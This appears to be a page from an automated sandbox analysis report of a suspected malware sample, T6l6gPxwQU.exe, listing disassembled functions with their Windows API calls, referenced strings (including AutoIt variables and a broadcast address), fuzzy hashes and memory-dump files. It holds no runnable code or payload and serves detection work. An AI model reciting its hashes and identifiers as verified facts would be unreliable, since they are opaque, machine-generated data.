Opcode Fuzzy Hash: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction Fuzzy Hash: 9F512762B187C696E7258F39998076D6A91FB85B98F48D231C79CCBBE5CF2CD045C700

Function 00007FF6BB15A09C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB15A0C6
GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6BB14529A), ref: 00007FF6BB15A0E2

Strings

C:\Users\user\Desktop\T6l6gPxwQU.exe, xrefs: 00007FF6BB15A0D0

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\T6l6gPxwQU.exe
API String ID: 3307058713-2647473981
Opcode ID: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction ID: bb7ab3ff984da2c4dd3cb936f2a018c0293c6236a64046bae0b934b8fa70fa09
Opcode Fuzzy Hash: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction Fuzzy Hash: 9641B132A59A56C6E715DF29E9800BD67A4FF48BD8B448032EB0E87B65DF3CE481C304

Function 00007FF6BB1C9E08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

DestroyWindow.USER32 ref: 00007FF6BB1C9F43

Strings

static, xrefs: 00007FF6BB1C9E54

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$CreateDestroyMessageObjectSendStock
String ID: static
API String ID: 3467290483-2160076837
Opcode ID: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction ID: e4db5fa86e1199f5c81dde4ed5eba54724ed454adb4cbdfc4244980f0969afe8
Opcode Fuzzy Hash: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction Fuzzy Hash: 94412A325086C2C6D6709F29E4407AFB7A1FB88795F504235EBE947AA9DF3CD485CB40

Function 00007FF6BB1B5E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB1B61CC: WideCharToMultiByte.KERNEL32 ref: 00007FF6BB1B620C

inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF6BB1B37FB), ref: 00007FF6BB1B5E4D
htons.WSOCK32 ref: 00007FF6BB1B5EDB

Strings

255.255.255.255, xrefs: 00007FF6BB1B5E6A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 2620319c3ff5b6f33e90d7d8a3306f43cafe9a98b61cebff61261b881329dcf7
Instruction ID: fbb4f47ab287059fcb538a1b04e2093f5c9d7808c0d0af30827788cf49613d08
Opcode Fuzzy Hash: 2620319c3ff5b6f33e90d7d8a3306f43cafe9a98b61cebff61261b881329dcf7
Instruction Fuzzy Hash: 2031AE32A1864281EB20DB2AE86427DB760FB5CB9CF058532DF5E833A1DE3DE546C700

Function 00007FF6BB1B03C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BB1B045A

Strings

, $, xrefs: 00007FF6BB1B0495
AUTOITCALLVARIABLE%d, xrefs: 00007FF6BB1B044A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _snwprintf
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3988819677-2584243854
Opcode ID: 7f6e43a92c0acba8555e010e69358058dd97d89251a2d077eb91c839043e6aa2
Instruction ID: 5575c5ab925ff3a35df4e241f7ac070d1de41a0d6fa3ad61883f6474e62837a5
Opcode Fuzzy Hash: 7f6e43a92c0acba8555e010e69358058dd97d89251a2d077eb91c839043e6aa2
Instruction Fuzzy Hash: 43316A76B08B4299EB24DB69E4951EC3765FB59788F504032DB0E97B6ACF38E40AC340

Function 00007FF6BB1CB224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

SetWindowPos.USER32 ref: 00007FF6BB1CB31B

Strings

, xrefs: 00007FF6BB1CB2FE
SysTabControl32, xrefs: 00007FF6BB1CB278

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$CreateMessageObjectSendStock
String ID: $SysTabControl32
API String ID: 2080134422-3143400907
Opcode ID: 4b08ff91003b18836ab118b9c601df15ff86c0835b21660893d535a527a01a93
Instruction ID: 66e378f6cdeb07995d51e039e8e0e87c5fc4a699afed21fca9852f555142e3c0
Opcode Fuzzy Hash: 4b08ff91003b18836ab118b9c601df15ff86c0835b21660893d535a527a01a93
Instruction Fuzzy Hash: A73139325087C18AE760CF29E44479AB7A0F788BA4F145335EBA957AE8CF38D495CF40

Function 00007FF6BB15DC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6BB15DCA2
GetFileType.KERNEL32 ref: 00007FF6BB15DCB8

Strings

@, xrefs: 00007FF6BB15DCE3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction ID: 114cf4faf4cafdeb9ca01278c7dc5f3e2c16ae2c2ebbbc5ad06bfb673ba05067
Opcode Fuzzy Hash: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction Fuzzy Hash: AF21B162A08B4281EB648B2DD4905396650FB8DB78F281339D7AF877F4DE7DE881D305

Function 00007FF6BB1CA0C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

GetWindowRect.USER32 ref: 00007FF6BB1CA18B
GetSysColor.USER32 ref: 00007FF6BB1CA1B2

Strings

static, xrefs: 00007FF6BB1CA10B

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction ID: 7ddc3df7cf2f38d67971dba35a742e74048cbefbdf2f6a1db49794cd0536b3da
Opcode Fuzzy Hash: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction Fuzzy Hash: 9B310D36A18785CBD764CF29E444B5AB7A5F788790F104239DB9943BA8DF38E855CF00

Function 00007FF6BB1C9868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

SendMessageW.USER32 ref: 00007FF6BB1C994F
SendMessageW.USER32 ref: 00007FF6BB1C9963

Strings

Combobox, xrefs: 00007FF6BB1C9905

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Combobox
API String ID: 1025951953-2096851135
Opcode ID: 2751fdadd79cc3ffc02769d349f49088ee270364174e6e284d45ea2163805565
Instruction ID: 612c1c4da0f652ee788157ae9fe316a325e4afbfa4118dacb6475bd0d1ffbac8
Opcode Fuzzy Hash: 2751fdadd79cc3ffc02769d349f49088ee270364174e6e284d45ea2163805565
Instruction Fuzzy Hash: 3B3107326087818AE7708F69B444B5AB7A1F789794F504235EBA947BA9CF3DD845CF00

Function 00007FF6BB1C9BD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF6BB1C9CB6
SendMessageW.USER32 ref: 00007FF6BB1C9CCA

Strings

edit, xrefs: 00007FF6BB1C9C24

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction ID: 8e750a9bce7ddae374ae834e5443a4df2a14b916436ab70d34b3dc2cb7bba625
Opcode Fuzzy Hash: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction Fuzzy Hash: D2311A36A08781CAE760CF19E44475AB7A1F788794F144235EBA887BA9DF3CD845CB05

Function 00007FF6BB15FD90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6BB15FEA2

Strings

", xrefs: 00007FF6BB15FE7B
pow, xrefs: 00007FF6BB15FE91

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction ID: 13c025cd996a29fe6538e74017235839afe81fba199032becba70b472b097a5d
Opcode Fuzzy Hash: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction Fuzzy Hash: 20215C72D1CAC587E370CF14E04466AABA1FBDE348F201325FB8946965CFBDD1859B04

Function 00007FF6BB18DDF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB190730: GetClassNameW.USER32 ref: 00007FF6BB19075B

SendMessageW.USER32 ref: 00007FF6BB18DE7F

Strings

ListBox, xrefs: 00007FF6BB18DE42
ComboBox, xrefs: 00007FF6BB18DE0B

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 2b20666184da16acd2d6d3491877ae16e073837e1e892be99d2699d4247cfda1
Instruction ID: 7fd827b154fe6c7922b8be29c02ec4012af756af64ba3af530f3d7d66d786e17
Opcode Fuzzy Hash: 2b20666184da16acd2d6d3491877ae16e073837e1e892be99d2699d4247cfda1
Instruction Fuzzy Hash: 0E118122A19B8191F614DB19D8410B963A1FB9DBA8F444231DBAD877EADE3CD50ACB40

Function 00007FF6BB18DCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB190730: GetClassNameW.USER32 ref: 00007FF6BB19075B

SendMessageW.USER32 ref: 00007FF6BB18DD26

Strings

ListBox, xrefs: 00007FF6BB18DCEA
ComboBox, xrefs: 00007FF6BB18DCB5

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 0abfc2817ed25deed9a0e18655eb97a5d75c75eb1aeec992e87202f854050b8e
Instruction ID: 47ac6bc8935e40f4cd06265d8285d5ac5e6c245624408aeea14e826f645cbfa7
Opcode Fuzzy Hash: 0abfc2817ed25deed9a0e18655eb97a5d75c75eb1aeec992e87202f854050b8e
Instruction Fuzzy Hash: 8011A322A1DA8191FA24DB18E4511F95361FF8D7C8F844531EB8DC7BAADF2CD609CB10

Function 00007FF6BB18DD48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB190730: GetClassNameW.USER32 ref: 00007FF6BB19075B

SendMessageW.USER32 ref: 00007FF6BB18DDCE

Strings

ListBox, xrefs: 00007FF6BB18DD92
ComboBox, xrefs: 00007FF6BB18DD5D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 4b68288faa5a15cc7d232deff94305a842367b5fb3c5c30fdfadb4679d6d4acd
Instruction ID: 9b5025df7c44f1c37b0fa84e7c10af42ea2bf3600e61969a4e6c2d2a7ab82798
Opcode Fuzzy Hash: 4b68288faa5a15cc7d232deff94305a842367b5fb3c5c30fdfadb4679d6d4acd
Instruction Fuzzy Hash: 50114C22A0D68692EA24D718E5511F95351FF8E788F444131EB8DC7BAADE2CD609CB10

Function 00007FF6BB1CFEA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF6BB1CFF29
CloseHandle.KERNEL32 ref: 00007FF6BB1CFF3A

Strings

, xrefs: 00007FF6BB1CFF01

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-3916222277
Opcode ID: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction ID: cf5a9df5547d66bf14701b493310a03b0364b1df22e5a7bda1c5cc385bb78e58
Opcode Fuzzy Hash: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction Fuzzy Hash: D4115232A187419AE710CF1AF90056AB7E6FB88788F485135EB4D87A75CF3ED090CB00

Function 00007FF6BB18DEA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB190730: GetClassNameW.USER32 ref: 00007FF6BB19075B

SendMessageW.USER32 ref: 00007FF6BB18DF26

Strings

ListBox, xrefs: 00007FF6BB18DEEA
ComboBox, xrefs: 00007FF6BB18DEB5

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 644f3703e788e93edd25f4b597ff0776f93010d0d499e8dd033eb9cd600cdda9
Instruction ID: 9e4ba648e2fcdf406934ff617196126870a97a6fdb5ec391c2ca87f29dc48a31
Opcode Fuzzy Hash: 644f3703e788e93edd25f4b597ff0776f93010d0d499e8dd033eb9cd600cdda9
Instruction Fuzzy Hash: CD019622A1C68292FA24D718E5911FD5360FF8E39CF404131E78DC7AAADF6CD609CB00

Function 00007FF6BB1615B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6BB16158E

Part of subcall function 00007FF6BB15FA90: _ctrlfp.LIBCMT ref: 00007FF6BB15FACB
Part of subcall function 00007FF6BB15FA90: _raise_exc.LIBCMT ref: 00007FF6BB15FB37

Strings

tan, xrefs: 00007FF6BB1615BA
!, xrefs: 00007FF6BB161576

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$tan
API String ID: 3384550415-2428968949
Opcode ID: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction ID: 91fe84ceb28c9f731382eb6b6b234f23688e6271f43c95f39cf66352f3031cbb
Opcode Fuzzy Hash: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction Fuzzy Hash: 93018432A28B8545DA14CF16A40033AA252FB9F7D8F105335EA5E0BB98EF7CD1508B00

Function 00007FF6BB1614E8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6BB16158E

Part of subcall function 00007FF6BB15FA90: _ctrlfp.LIBCMT ref: 00007FF6BB15FACB
Part of subcall function 00007FF6BB15FA90: _raise_exc.LIBCMT ref: 00007FF6BB15FB37

Strings

cos, xrefs: 00007FF6BB1614EE
!, xrefs: 00007FF6BB161576

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

